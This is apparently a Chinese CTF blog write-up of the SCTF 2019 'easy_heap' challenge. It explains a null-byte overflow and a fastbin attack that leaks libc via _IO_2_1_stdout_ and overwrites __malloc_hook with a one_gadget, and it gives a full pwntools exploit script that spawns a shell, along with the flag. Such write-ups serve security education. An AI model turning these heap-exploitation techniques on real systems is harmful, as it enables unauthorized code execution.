fi3ework's Dairy.

2019-SCTF-easy_heap[fastbin attack]

字数统计: 580阅读时长: 3 min
2019/06/25 Share

0x00 程序分析

2.23版本的libc,保护全开

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序有三个功能,没有show功能

1
2
3
4
5
6
7
8
9
10
Mmap: 0x3ce4166000
ESAY_HEAP @ SCTF2019

1. Alloc
2. Delete
3. Fill
4. Exit
>> 1
Size: 20
chunk at [0] Pointer Address 0x555555756068

程序自己提供mmap申请的内存随机地址和bss段保存堆指针的地址

free后会清空指针,但是编辑功能fill存在\x00一字节溢出

0x01 利用分析

利用堆重叠和parrial overwrite,修改fastbin chunk的fd指针,在 _IO_2_1_stdout_ 上方的错位地址分配一个大小为0x7f的chunk,修改文件流数据,泄露libc

再次利用fastbin attack在 __malloc_hook 上分配0x7f大小的chunk,one_gadget来获取shell,不过中间使用了 __realloc_hook抬栈

0x02 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
LOCAL = 0
if LOCAL:
p = process('./easy_heap')
libc = ELF('./loc_libc.so.6')
else:
p = remote('132.232.100.67',10004)
libc = ELF('libc.so.6')
context.log_level = 'debug'

def add(size):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def dele(idx):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Content: ')
p.sendline(con)

def q(s = ''):
if s:
gdb.attach(p,s)
else:
gdb.attach(p)
raw_input('test')
def pwn():
add(0xf8)#0
p.recvuntil('chunk at [0] Pointer Address ')
p_base = int(p.recvline(),16)-8-0x202060
log.info('p_base:'+hex(p_base))
add(0x61)#1
add(0x68)#2
add(0xf8)#3
add(0xf8)#4

dele(0)
edit(2,'\x00'*0x60+p64(0x100+0x70+0x70))
dele(3)
dele(1)
add(0xf8)#0 alert 1 fd
dele(0)

#freed 013
add(0x2d0)#0
edit(0,'\x00'*0xf8+p64(0x71)+'\xdd\x25')#_IO_2_1_stderr_+157 0x7f
add(0x60)#1
add(0x60)#3
edit(3,'\x00'*(0x30+3)+p64(0xfbad1800)+p64(0)*3+'\x48')
libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['_IO_2_1_stdout_']-132
log.info('libc_base: '+hex(libc_base))

dele(0)
dele(1)
add(0x2d0)#0
edit(0,'\x00'*0xf8+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(0x60)#1
add(0x60)#5
one = libc_base+0xf1147
edit(5,'\x00'*(0x8+3)+p64(one)+p64(libc_base+libc.symbols['__libc_realloc']))

#q('b *'+hex(libc_base+0xf1147))
#q('b __libc_realloc')
#q('catch syscall execve')
add(30)
log.info('libc_base:'+hex(libc_base))
p.interactive()

while True:
try:
pwn()
break
except:
p.close()
if LOCAL:
p = process('./easy_heap')
libc = ELF('./loc_libc.so.6')
else:
p = remote('132.232.100.67',10004)
libc = ELF('libc.so.6')
#sctf{4110c_D3l37_Fi11_r3pe7}
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
  3. 3. 0x02 EXP